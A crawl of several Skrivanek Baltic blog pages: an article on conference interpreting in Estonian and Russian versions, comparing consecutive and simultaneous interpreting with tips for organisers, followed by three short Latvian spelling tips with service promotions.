https://skrivanek.lv/konferencu-tulkosana-prieksrocibas-termini-un-skaidrojumi/ - Kategorijas: Raksti - Translation Priorities: Optional KONVERENTSITÕLGE – EELISED, MÕISTED JA SELGITUSED Enamik meist on tõenäoliselt konverentsitõlkega kokku puutunud mõnel rahvusvahelisel üritusel, kuulates esineja kõnet „ümber panduna“ meile arusaadavasse keelde. Konverentsitõlke kõige eredam näide on Euroopa Liidu ja Komisjoni asutuste pakutav sünkroontõlge 24 keelde. Miks on selline tõlge oluline ja kuidas see erineb kirjalikust tõlkest – seda käesolevas blogipostituses vaatlemegi. MIKS ON KONVERENTSITÕLGE VAJALIK Tänapäeva globaalses ühiskonnas, kus inglise keele tase üha paraneb, võib vahel tunduda, et tõlkida ei olegi enam vaja. Kuid on mitmeid põhjusi, miks tasub ürituse või konverentsi tõlkimist siiski tõsiselt kaaluda. Siin on mõned kõige ilmsemad juhud, kui võib konverentsitõlget vaja minna. Mitmest eri riigist pärit osalejad ja külastajad. Kogemuste vahetamise ja teadmiste omandamise nimel tasub kuulata eri riikidest pärit ja isegi eri kultuure esindavaid asjatundjaid. Samuti võimaldab tõlke pakkumine kutsuda välismaalt mitte ainult esinejaid, vaid meelitada teistest riikidest kohale ka publikut, mis omakorda edendab konverentsi tuntust maailmas. Keelebarjääri „lammutamine“. Võib juhtuda, et rääkides keeles, mis ei ole emakeel, ei suuda kõnelejad end väljendada nii täpselt, kui nad sooviksid. Tõlgi abi kasutades ei pea selle pärast muretsema. Teabe täpne edastamine. Tõlke olemasolu kahandab võimalust valida sõnu või väljendeid, mida publik võib valesti mõista. Mitte iga vanasõna või nali ei mõju igas keeles samatähenduslikult. Suurem võimalus tähelepanu hoida. Juttu on lihtsam jälgida emakeeles, eriti konverentsidele pahatihti omases mürarikkas keskkonnas – see suurendab osalejate kaasatust. Kõrgem korraldustase. Samas kui üritus muutub üha tuntumaks ja selle tase aina paraneb, suurenevad ka külastajate ootused, sealhulgas tõlke tagamise osas. Osalejad loodavad sellele. Konverentsitõlke puhul kasutatakse ühte kahest suulise tõlke vormist – sünkroon- või järeltõlget. Mõlemal suulisel tõlkel on oma nüansid ja eelised. Vaatame lähemalt, mille poolest need üksteisest erinevad. JÄRELTÕLGE Alustame järeltõlkega, mida valitakse sageli väiksemate era- või tööürituste puhul, näiteks ärireiside, pulmapidude või muude sarnaste sündmuste korral. Järeltõlge – nagu nimigi ütleb – algab pärast seda, kui kõnekeelne tekst on kõlanud. Kõige sagedamini ütlevad kõnelejad nii koosolekutel kui ka väiksematel üritustel paar lauset, tehes siis hetkeks pausi, et nende kõrval seisev tõlk saaks kuulajatele teises keeles edasi anda, mida nad just kuulsid. Selle tõlke jaoks ei ole eriseadmeid vaja – piisab mikrofonist. JÄRELTÕLKE EELISED Täpsus. Tõlgil jääb teatud aeg, et äsja kuuldu üle mõelda ja see teise keelde tõlkida, lihtsustades vajadusel keerulisemaid mõisteid, mis on eriti hea arusaamatuste vältimiseks. Väikesed kulud. Kokkuvõttes on järeltõlge soodsam, kuna selle jaoks ei ole vaja tehnilisi eriseadmeid – piisab tõlgile ulatatud mikrofonist. Samuti on võimalik korraldada üritus ühe tõlgiga, erinevalt sünkroontõlkest, mis nõuaks vähemalt kahte tõlki, kes üksteist iga 10–30 intensiivse tööminuti järel välja vahetaks. Paindlikkus. Järeltõlge sobib koosolekute või väiksemate ürituste puhul, kus ei ole oluline tõlkida reaalajas, näiteks vahetult enne kontserti. Väiksematel üritustel võivad tõlkida ka teemaga kursis olevad valdkonna esindajad, kes suudavad seda oma emakeeles korralikul tasemel edasi anda. SÜNKROONTÕLGE Paralleelselt konverentsi esineja jutuga edastatav sünkroontõlge on tehniliselt nõudlikum, kuid sõltuvalt ürituse suurusest ja tõsidusest võib see osutuda korraldajatele palju kasulikumaks. Konverentsidele valitakse enamasti sünkroontõlge mitmel põhjusel. See võimaldab rääkida katkestusteta, pakkuda tõlget vaatajatele, kes seda soovivad, jälgida reaalajas esineja kehakeelt, silmsidet, emotsioone, jutustuse kulgu, vaadates samal ajal ka esitluses kasutatavaid pildimaterjale. Mõnele võib tunduda kummaline, et iga keelepaari jaoks on vaja kahte tõlki, kuigi kõnelejaid on ainult üks. Kahte tõlki on vaja, sest sünkroontõlge väsitab tõlki järeltõlkest oluliselt kiiremini. Tõlk ei suuda hetkekski peatumata lõputult hästi tõlkida, vaja on aega kasvõi lonksu vee jaoks. Seda võib võrrelda mis tahes spordialaga, me kõik vajame jõuvarude taastamiseks pausi. Tavaliselt vahetuvad tõlgid iga 20–30 minuti järel. SÜNKROONTÕLKE EELISED Kiirus ja tõhusus. Kõnelejat ei ole vaja katkestada – kuulajateni jõuab tõlge reaalajas vaid mõnesekundilise viivitusega. Nii saavad kõik osa kõnelejate emotsioonidest, kehakeelest, silmsidest, jutuvoost ja naljadest. Parem taipamine. Mitte kõik kuulajad ei pruugi välismaalt konverentsile esinema palutud kõrgetasemelise eksperdi jutu mõtet ühtviisi hästi taibata. Sünkroontõlke abil on võimalik tagada sujuv küsimuste ja vastuste sessioon, mis kaasab üritusel osalejaid paremini. Valikuvõimalus. Kuulajatel on erinev teadmiste ja keeleoskuse tase. Erinevalt järeltõlkest annab sünkroontõlge võimaluse valida, kas kuulata esinejat originaalkeeles või tõlke vahendusel. KONVERENTSITÕLKE PAKKUMISEGA SEOTUD PROOVIKIVID Suulise tõlke väljakutsetest võiks kirjutada eraldi blogipostituse, sest see protsess on üsna keeruline. Vaatleme mõningaid, millega ka ürituste korraldajad peaksid arvestama. Kõrge oskuste lävend Pole kahtlustki, et olenemata valitud suulise tõlke vormist eeldab see tõlgilt kõrgel tasemel oskusi ning asjakohaseid kogemusi ja väga laia silmaringi. See on eriti oluline konverentsidel, kus üks valesti öeldud või kuuldud sõna võib oluliselt muuta räägitu tähendust ning põhjustada arusaamatusi. Terminoloogia, teema valdamine Lisaks oskusele välkkiirelt sisu lokaliseerida vajavad tõlgid kogu võimalikku taustateavet, et õppida selgeks esitluses ette tulevad mõisted, faktid, arvud ja raamatute pealkirjad ning neid sobival hetkel kasutada. Eriti tähtis on see konverentside puhul, kus käsitletakse mitmesuguseid teemasid, mis kõik ei pruugi olla tõlkidele võrdselt tuttavad. Tehnilised probleemid Igal sisutihedal üritusel võib ette tulla tehnilisi probleeme, mis raskendavad mitte ainult esinejate, vaid ka tõlkide öeldust arusaamist. Seda tüüpi riski hajutamiseks on hea omada plaani, kes mida teeb või mis läheb käiku tehnilise probleemi korral. Tehniliste viperuste ohtu saab oluliselt vähendada, testides enne konverentsi algust põhjalikult kogu kasutatavat riistvara ning seda vajaduse korral kohandada. Suured kulud Mida teha, kui sünkroontõlkeseadmed tunduvad liiga kallid? Vahel, kui tõlkimine ei ole nii oluline, võib kasutada odavamat lahendust, näiteks giidi raadiosideseadmeid. Selliste seadmete puhul ei ole kvaliteet nii hea ja võib ruumis viibijaid pisut häirida, kuid mõnikord on see napi eelarve korral toimiv lahendus. Toonitame siiski veelkord, et kvaliteet kindlasti kannatab. Kliendid küsivad sageli, kas vaheajad ja lõunapausid arvestatakse samuti hinna sisse. Jah, need on arvestatud hinna sisse, kuna tõlk/tõlgid on broneeritud kõnealuseks päevaks/tundideks, mis hõlmab ka lõuna- ja muid pause. Kultuurierinevused See, mis on ühes kultuuris vastuvõetav, võib teises segadust tekitada. Esinejad pikivad sageli oma kõnedesse veidi huumorit, et publiku tähelepanu hoida, innustada osalejaid aktiivselt küsimusi esitama või saada üle ärevusest. Võttes arvesse kultuuride ja ajaloolisi erinevusi, saab nalja harva ühest keelest teise ilma kohandamata üle kanda, tagades mitte ainult öeldu tähenduse, vaid säilitades ka huumori. Sama kehtib ka võrdluste, metafooride ja muude keeleliste väljendite kohta, mis on ühes keeles tavalised, kuid teises vaat’ et tabu. Näiteks USAs viidatakse probleemi lahendamisele selle vastu suunatud „ristisõjaga“, mis paljudes teistes riikides, sealhulgas Eestis, on sootuks teise varjundiga. 5 SKRIVANEKI SOOVITUST TOIMIVA KONVERENTSITÕLKE HEAKS Eduka konverentsitõlke tagamiseks anname konverentsi korraldajatele planeerimisel viis soovitust. 1. VALMISTUGE PÕHJALIKULT Andke tõlkidele (või teenust vahendavale tõlkebüroole) juba aegsasti kõik vajalikud materjalid – ettekanded, kõned, põhi- ja keerulised mõisted, faktid, arvud, pealkirjad, nimed ja perekonnanimed. Nii hoolitsete selle eest, et tõlge ei jää „toppama“ ja sujub suuremate tõrgeteta. Näiteks erineb tõlkimine kaubandussektorile vajaduste ja mõistete osas vägagi õigus-, ehitus-, psühholoogia- või mõnest muust valdkonnast. Mõnikord ei pruugi tõlgid laval toimuvat hästi näha ja ilma lisamaterjalita on võimatu täpselt edasi anda kõiki fakte, eriti raskesti hääldatavaid nimesid, kohanimesid jms. Tõlkide teenuseid kasutades tuleks läbi mõelda, kuidas nad üritusele jõuavad, kas nad vajavad majutust ja mitmed teised korralduslikud küsimused. 2. KONTROLLIGE ÜLE SEADMED Vajalik varustus sõltub sellest, millise tõlke valite. Järeltõlke puhul piisab mikrofonist, kuid sünkroontõlke jaoks on vaja ka tõlkekabiini, kõrvaklappe nii tõlkidele, konverentsil osalejatele kui ka esinejatele ning muid tehnilisi seadmeid, mida tuleks enne ürituse algust kindlasti testida. Samuti tuleks tagada, et tõlgid näeksid, mis laval toimub, sest sageli on oluline jälgida kõneleja lavalist tegevust. 3. PALGAKE ASJATUNDLIKUD TÕLGID JA TÕLKEBÜROO Väiksemate ürituste järeltõlkimiseks piisab sageli kolleegide abist. Kuid konverentsidel, kus kõned või ettekanded teemade kaupa erinevad, on mõistlik sõlmida teenuse osutamise kokkulepe tõlkebüroo või asjatundlike tõlkidega. Sageli valitakse just tõlkebüroo, kes suudab pakkuda tõlkeid mitmesse keelde, ning siis ei pea pead vaevama ka tehniliste lahenduste pärast. 4. EDENDAGE SELGET SUHTLUST Selleks et tõlge oleks sama kvaliteetne kui kõne, millel see põhineb, on soovitav kõigi asjaosalistega asjad selgeks rääkida, et ei tekiks arusaamatusi ning kõik olulisemad küsimused saaksid aegsasti läbi arutatud. Eriti oluline on tuletada esinejatele meelde kõne ajal mitte kiirustada ning leppida kokku teatav märk, mida näidata, kui kõneleja pillub ärevusest sõnu nagu käisest. 5. VIIGE ELLU TAGASISIDEKÜSITLUS JA ANALÜÜS Nii konverentsi üldise korralduse kui ka pakutava tõlke kvaliteedi hindamiseks on soovitame küsida kõigilt osalejatelt tagasisidet. See võimaldab teil teha järgmisi konverentse silmas pidades teadlikke, andmetel põhinevaid järeldusi ning õigeid valikuid. KOKKUVÕTE Tänapäeva globaalses maailmas aitab konverentsitõlge oluliselt vähendada keelebarjääri, soodustab mõttevahetust, aitab turustada tooteid ja teenuseid ning kujundada asjatundlikku kuvandit. Nii sünkroon- kui ka järeltõlkel on oma eelised, aga ka puudused. Langetades valikut ühe või teise kasuks on oluline võtta arvesse ürituse tüüpi, esinejate ja osalejate arvu ning teema(de) keerukust. Kui mõni nimetatud näitajatest muutub, peavad korraldajad ja tõlgid tegema täiendavaid ettevalmistusi, et tagada parima kvaliteediga tõlge. Arvestades kõigi eespool nimetatud asjaolude ja soovitustega jõuate järelduseni, milline on kõige kulutõhusam lahendus kvaliteetse konverentsitõlke tagamiseks. Skrivanek Baltic jagab meeleldi oma kogemusi ja soovitusi ning pakub lahendusi – mitte ainult tõlke, vaid ka vajalike seadmete hankimise ja ruumi paigutamise, materjalide tõlkideni toimetamise ning muude oluliste üksikasjade osas. Leiame teie ürituse ja eelarve jaoks kõige sobivama lahenduse. Blogipostituse kirjutamisel on osaliselt allikana kasutatud Läti Ülikooli professori Andrejs Veisbergsi raamatut „Konverentsitõlge“ (2016). --- > Перевод конференций – ознакомьтесь со статьей в нашем блоге и узнайте, что необходимо для того, чтобы конференция прошла успешно и перевод был качественным. - Published: 2024-08-14 - Modified: 2024-10-29 - URL: https://skrivanek.lv/konferencu-tulkosana-prieksrocibas-termini-un-skaidrojumi/ - Kategorijas: Raksti - Translation Priorities: Optional ПЕРЕВОД КОНФЕРЕНЦИЙ – ПРЕИМУЩЕСТВА, ТЕРМИНЫ И ПОЯСНЕНИЯ С переводом конференций, возможно, большинство из нас сталкивались при посещении какого-нибудь международного мероприятия, слушая речь оратора, переложенную на понятный нам язык. Самый наглядный пример перевода конференций – одновременный, синхронный перевод на 24 языка, который обеспечивают учреждения Европейского союза и Европейской комиссии. В чем важность данного вида перевода и чем он отличается от письменного перевода – рассмотрим в этой публикации. ДЛЯ ЧЕГО НЕОБХОДИМ ПЕРЕВОД КОНФЕРЕНЦИЙ На первый взгляд может показаться, что в современном глобализированном обществе, в котором постоянно растет уровень владения английским языком, переводить не нужно вовсе. Однако существует ряд причин, из-за чего по-прежнему стоит рассмотреть возможность обеспечения перевода на мероприятии или конференции. Вот некоторые из самых очевидных условий, почему может потребоваться перевод конференции. Участники и посетители из разных стран. Чтобы способствовать обмену опытом и знаниями, полезно прислушаться к профессионалам – представителям разных стран и даже культур. Кроме того, можно привлекать не только зарубежных экспертов для выступлений, но и приглашать зрителей из других стран, повышая тем самым узнаваемость конференции на мировом рынке. Снятие языкового барьера. Говоря на языке, который не является родным, люди порой высказываются не так точно, как им самим хотелось бы. Помощь переводчика позволяет не беспокоиться об этом. Точный перенос информации. Перевод снижает риск использования слов или выражений, которые слушатели могут понять превратно. Не каждая поговорка или шутка означает одно и то же на всех языках. Улучшение способности удерживать внимание. Слушать речь легче на родном языке, особенно если вокруг шумно, как бывает на конференциях, таким образом, перевод повышает вовлеченность посетителей на мероприятии. Повышение профессиональной планки. Когда мероприятие становится более узнаваемым и повышается его уровень, растут и ожидания посетителей, в том числе относительно обеспечения перевода. Посетители рассчитывают на это. При переводе конференций используется один из двух видов устного перевода – синхронный или последовательный перевод. Оба вышеуказанных вида перевода являются устными, и каждый имеет свои особенности и преимущества. Рассмотрим детальнее, чем они отличаются. ПОСЛЕДОВАТЕЛЬНЫЙ ПЕРЕВОД Начнем с последовательного перевода, который часто выбирают для небольших частных или рабочих мероприятий, например в командировках, на свадебных церемониях или других подобных мероприятиях. Последовательный перевод, как можно понять из названия, начинается после произнесения текста. Чаще всего как на собраниях, так и на небольших мероприятиях ораторы произносят несколько предложений и выдерживают некоторую паузу, чтобы стоящий рядом переводчик мог пересказать сказанное слушателям, но уже на другом языке. Для выполнения такого перевода специальное оснащение не требуется – достаточно микрофона. ПРЕИМУЩЕСТВА ПОСЛЕДОВАТЕЛЬНОГО ПЕРЕВОДА Точность. У переводчика есть некоторое время, чтобы обдумать услышанное и выразить на другом языке, например, упрощая сложные термины, что особенно полезно во избежание недоразумений. Низкие издержки. В целом последовательный перевод дешевле, поскольку не требуется дополнительное техническое оснащение – достаточно вручить переводчику микрофон. К тому же он позволяет провести мероприятие с одним переводчиком, в отличие от синхронного перевода, для которого нужны минимум два переводчика, способных заменять друг друга через каждые 10–30 минут интенсивного труда. Гибкость. Последовательный перевод подходит для собраний или небольших мероприятий, где не так важно наличие перевода в режиме реального времени, например незадолго до концерта. На мероприятиях меньшего масштаба перевод могут обеспечивать и представители конкретной отрасли, которые ориентируются в тематике и достаточно хорошо могут изложить сказанное на родном языке. СИНХРОННЫЙ ПЕРЕВОД Более сложным в техническом плане является синхронный перевод, который обеспечивается параллельно речи участника конференции, но в зависимости от масштаба и серьезности мероприятия может быть значительно полезнее его организаторам. На конференциях преимущественно выбирают синхронный перевод по ряду причин. Он позволяет не прерывать рассказчика, обеспечить перевод тем зрителям, которые этого хотят, а также в режиме реального времени следить за языком тела выступающего, зрительным контактом, эмоциями, плавностью рассказа, рассматривать визуальную презентацию. Некоторых удивляет, для чего нужны два переводчика на каждую языковую пару, если говорит всего один человек. Два переводчика необходимы, поскольку при синхронном переводе переводчик устает от концентрации быстрее, чем при последовательном переводе. Обеспечивать качественный устный перевод без остановки переводчик не может – нужно время хотя бы для того, чтобы попить воды. Это можно сравнить с любым видом спорта – всем нам требуется перерыв, чтобы восстановить силы. Как правило, переводчики сменяются через каждые 20–30 минут. ПРЕИМУЩЕСТВА СИНХРОННОГО ПЕРЕВОДА Скорость и эффективность. Не нужно прерывать говорящего – зрители слушают перевод в режиме реального времени с задержкой всего на несколько секунд. Поэтому все присутствующие могут следить за эмоциями ораторов, языком тела, зрительным контактом, плавностью речи и шутками. Более высокая воспринимаемость. Если пригласить на конференцию зарубежного эксперта высокого уровня, существует вероятность, что не все слушатели одинаково хорошо воспримут сказанное. Кроме того, это позволяет обеспечить плавную сессию вопросов и ответов, усилив вовлеченность посетителей мероприятия. Возможность выбора. У слушателей разный багаж знаний и уровень владения языком. В отличие от последовательного перевода, синхронный дает возможность выбирать – слушать речь на оригинальном языке или в переводе. ТРУДНОСТИ ПРИ ОБЕСПЕЧЕНИИ ПЕРЕВОДА КОНФЕРЕНЦИИ О трудностях, с которыми сталкиваются переводчики при выполнении устного перевода, можно написать отдельную статью, потому что это довольно сложный процесс. Рассмотрим некоторые – их рекомендуется обдумать и организаторам мероприятий. Высокий уровень навыков Какой бы вид перевода вы ни выбрали, на роль переводчика обязательно нужен человек, обладающий высоким уровнем навыков, а также соответствующим опытом и разносторонними знаниями практически о любой сфере жизни. Особенно это важно на конференциях, где невпопад произнесенное или нерасслышанное слово может кардинально изменить смысл сказанного и вызвать недоразумения. Знание терминологии и содержания Наряду со способностью мгновенно выполнять устную локализацию переводчикам необходима вся возможная фоновая информация, чтобы знать вероятные термины, факты, цифры, названия книг, которые могут упоминаться в речи, на хорошем уровне. Это особенно важно на конференциях с разнообразными темами, каждой из которых переводчики не могут владеть одинаково хорошо. Технические проблемы Любое мероприятие с насыщенным содержанием могут настигнуть проблемы технического характера, что затрудняет восприятие сказанного не только участниками конференции, но и переводчиками. Чтобы свести данный риск к минимуму, стоит разработать план действий на случай технических неполадок – что произойдет или кто будет действовать в такой ситуации. Риск технических проблем можно значительно снизить, тщательно проверив перед началом конференции всю возможную аппаратуру, а также настроив ее по необходимости. Высокие издержки Что делать, если использовать оборудование для синхронного перевода слишком дорого? Иногда, если перевод не столь существенен, можно обойтись более дешевым решением, например оборудованием для гидов. Качество будет ниже и может не устроить некоторых сидящих в зале, но зачастую это хорошее решение при недостаточном бюджете. Однако следует еще раз напомнить: качество определенно пострадает. Часто наши клиенты спрашивают, входят ли в расчет цен паузы и перерывы на обед. Данная позиция включается, поскольку переводчик/переводчики привлекаются на определенное количество дней/часов, куда входят также паузы и обеденные перерывы. Культурные различия То, что приемлемо в одной культуре, может вызвать недоумение в другой. Часто выступающие добавляют в свои речи толику юмора, чтобы удержать внимание слушателей, мотивировать активно задавать вопросы или преодолеть волнение. Учитывая различия между культурами и их историей, очень редко удается перенести шутки с одного языка на другой без внесения известных коррекций, чтобы не только передать смысл сказанного, но и сохранить юмор. То же относится к сравнениям, метафорам и другим средствам выразительности языка, которые на одном языке звучат обыденно, а на другом – практически табуированы. К примеру, в США, говоря о разрешении каких-либо проблем, часто используют метафору «начать священную войну», которая во многих странах, включая Латвию, имеет другой смысловой оттенок. 5 СОВЕТОВ SKRIVANEK О ТОМ, КАК ОБЕСПЕЧИТЬ ЭФФЕКТИВНЫЙ ПЕРЕВОД КОНФЕРЕНЦИИ Чтобы позаботиться об успешном переводе конференции, предлагаем воспользоваться пятью нашими советами, которые пригодятся организаторам при планировании обеспечения конференции. 1. ТЩАТЕЛЬНО ПОДГОТОВЬТЕСЬ Заблаговременно снабдите переводчиков (или бюро переводов, которое предоставляет переводчиков) всеми необходимыми материалами – презентациями, речами, важнейшей и сложнейшей терминологией, фактами, цифрами, названиями, именами и фамилиями, – чтобы перевод «не спотыкался» и выполнялся без существенных затруднений. Например, перевод для торговой отрасли по потребностям и терминологии существенно отличается от перевода в области юриспруденции, строительства, психологии и других областях. Иногда переводчикам плохо видно происходящее на сцене, и без дополнительных материалов они не смогут точно передать все факты, труднопроизносимые фамилии, названия мест и т. д. Кроме того, сотрудничая с переводчиками, зачастую нужно подумать о том, как они доберутся до места проведения мероприятия, потребуется ли ночлег, и о многих других организационных вопросах. 2. ПРОВЕРЬТЕ ОСНАЩЕНИЕ В зависимости от выбранного вида перевода варьируется необходимое оборудование. Для последовательного перевода достаточно микрофона, однако для синхронного потребуются еще и кабины для перевода, наушники для переводчиков, посетителей и участников мероприятия и другие технические устройства, которые перед открытием мероприятия нужно проверить, а также убедиться в том, что переводчики будут видеть происходящее на сцене, поскольку порой бывает важно следить за действиями оратора. 3. НАЙМИТЕ КВАЛИФИЦИРОВАННЫХ ПЕРЕВОДЧИКОВ И БЮРО ПЕРЕВОДОВ Для последовательного перевода на мероприятиях в узком кругу нередко достаточно помощи коллег. Однако для перевода на конференциях, где тематика каждой речи или презентации может отличаться, важно договориться с бюро переводов или квалифицированными переводчиками о предоставлении услуги. Организаторы часто выбирают бюро переводов, чтобы обеспечить перевод на несколько языков и не беспокоиться о технических решениях. 4. СОДЕЙСТВУЙТЕ ПОНЯТНОМУ ОБЩЕНИЮ Чтобы качество перевода было сопоставимо с качеством речи, на которой перевод основан, рекомендуется «говорить понятным языком» со всеми вовлеченными сторонами мероприятия во избежание недоразумений, а также заранее обсудить важнейшие проблемные вопросы. Особенно важно обсудить с выступающими необходимость не торопиться, придумать, какой жест вы могли бы показывать, если говорящий от волнения трещит как сорока. 5. ПОСЛЕ КОНФЕРЕНЦИИ ПРОВЕДИТЕ ОПРОС И АНАЛИЗ Для оценки качества как самой конференции, так и предоставленного перевода рекомендуется провести опрос участников и посетителей мероприятия. Благодаря этому вы сможете сделать продуманные выводы, основанные на данных, а также выбрать подходящие решения для организации следующей конференции. РЕЗЮМЕ В современном глобализированном мире перевод конференций является важным инструментом и даже помощником для устранения различных языковых барьеров и обмена передовыми идеями, стимулирования продаж товаров и услуг и создания публичного образа эксперта. Как у синхронного, так и у последовательного перевода имеются свои преимущества и недостатки. Выбирая один из данных видов перевода, важно учитывать тип мероприятия, количество участников и зрителей, а также сложность темы (тем). Изменение каждого из перечисленных параметров повышает необходимость в дополнительной подготовке со стороны организаторов и переводчиков, чтобы обеспечить более высокое качество перевода. Обобщив все вышеуказанные величины и советы, можно прийти к заключению о наиболее выгодном решении с точки зрения издержек, чтобы обеспечить перевод конференции хорошего качества. Мы, Skrivanek Baltic, с радостью поделимся своим опытом, советами и решениями – не только относительно перевода, но и касательно обеспечения необходимым оборудованием, его расположения в помещении, своевременной передачи материалов переводчикам и других важных мелочей. Мы посоветуем самое подходящее решение для планируемого мероприятия и бюджета. При подготовке публикации в блоге частично использовалась информация из книги профессора Латвийского университета Андрея Вейсбергса (Andrejs Veisbergs) «Перевод конференций» (2016). Ziņu izvēlne Читайте нашу прошлую статьюValsts ieņēmumu dienestsЧитайте нашу новую статьюValsts sociālās apdrošināšanas aģentūra --- > Novirze no normas ir pataloģija vai patoloģija? Uzzini atbildi jau tagad! Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-08-14 - Modified: 2025-03-19 - URL: https://skrivanek.lv/patalogija-vai-patologija/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional PATALOĢIJA VAI PATOLOĢIJA 1 Par kontroles grupu izvēlējās veselus cilvēkus bez plaušu un elpceļu patoloģijām. Vai tomēr bez plaušu un elpceļu pataloģijām? Jo vairāk attīstās medicīna, jo biežāk mēs dzirdam par dažādām novirzēm no tā sauktās normas. Lai arī pirmās zilbes ietekmē runājot mēdzam teikt patskani “a” arī otrajā zilbē, pareizi būtu saglabāt svešvārda rakstību un izrunu arī latviešu valodā. Tātad medicīnas kontekstā organisma dzīvības funkciju novirzes no normas ir saucamas par patoloģijām. Par kontroles grupu izvēlējās veselus cilvēkus bez plaušu un elpceļu patoloģijām. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Svarīgu informāciju izcelsim ar flomasteru vai ar flomāsteru? Ieskaties, šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-08-12 - Modified: 2024-09-11 - URL: https://skrivanek.lv/flomasters-vai-flomasters/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional FLOMASTERS VAI FLOMĀSTERS 1 Svarīgu informāciju izcelsim ar flomasteru vai ar flomāsteru? Iespējams, šī kļūda latviešu valodā ieviesusies no krievu valodas vārda “фломастер”. Tāpat arī runājot nereti mēdzam jaukt garos un īsos patskaņus, taču vārds “flomāsters” pareizi būtu jāraksta ar garo “ā”. Tāpēc turpmāk būtiskāko savos pierakstos atzīmēsim ar flomāsteru! Izvirzīto mērķi atzīmēsim ar flomāsteru! Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN JAUNIEŠIEM Mācību centra rīkotās nometnes ir lielisks veids, kā pavadīt skolas brīvlaiku visos gadalaikos, iegūstot jaunus draugus un praktiskas svešvalodu zināšanas. Nometnes --- > Kā sauc vielu, kura ir tik nozīmīga cilvēka ķermenim: kalogēns vai kolagēns? Šis un daudzi citi noderīgi latviešu valodas padomi vienuviet! - Published: 2024-08-11 - Modified: 2024-08-15 - URL: https://skrivanek.lv/kolagens-vai-kalogens/ - Kategorijas: latviešu valodas padomi - Translation Priorities: Optional KOLAGĒNS VAI KALOGĒNS 1 Kā sauc vielu, kura ir tik nozīmīga cilvēka ķermenim: kalogēns vai kolagēns? Mēs dzīvojam laikā, kad dažādi uztura bagātinātāji kļuvuši gandrīz vai par neatņemamu dzīves daļu, un nereti nākas redzēt reklāmas, kurās minēts, ka locītavu veselībai jālieto kalogēns. Tomēr vielu, kas stiprina saistaudu funkciju, sauc par kolagēnu. Vārds veidojies no grieķu valodas saknes kolla (līme) un franču valodas piedēkļa gen (viela, kas kaut ko ražo) apmēram 19. gadsimta vidū. Tātad olbaltumvielu, kas atrodas visu daudzšūnu organismu saistaudos, ādā, asinsvados un kaulos, sauksim par kolagēnu. Citi latviešu valodas padomi  LEJUPIELĀDĒ 100 LATVIEŠU VALODAS PADOMUS Esam apkopojuši 100 latviešu valodas padomus īpašā grāmatā, kuru piedāvājam jums lejupielādēt bez maksas. Lai to saņemtu, lūdzam aizpildīt zemāk norādīto pieteikuma formu Skrivanek Baltic ikmēneša jaunumiem. Please enable JavaScript in your browser to complete this form. Please enable JavaScript in your browser to complete this form. Vārds un uzvārds *FirstLastE-pasta adrese * *Piekrītu saņemt jaunumus no Skrivanek Baltic un personas datu apstrādei mārketinga nolūkos, saskaņā ar uzņēmuma Skrivanek Baltic Privātuma politiku. Pieteikties KVALITATĪVI RAKSTISKIE TULKOJUMI 110+ VALODĀS Piedāvājam kvalitatīvus rakstiskos tulkojumus nepieciešamajā valodu kombinācijā, garantējot konfidencialitāti un noteikto termiņu ievērošanu. Rakstiskie tulkojumi MUTISKIE TULKOJUMI 40+ VALODĀS Nodrošinām visa veida mutiskās tulkošanas pakalpojumus vairāk nekā 40 valodās un dažādās to kombinācijās. Mutiskie tulkojumi VALODU KURSI SIRDIJ UN KARJERAI Piedāvājam praktiskas valodu mācības uzņēmumu un iestāžu darbiniekiem, kā arī privātpersonām ar dažādiem valodas zināšanu līmeņiem. Valodu kursi AIZRAUJOŠAS NOMETNES BĒRNIEM UN 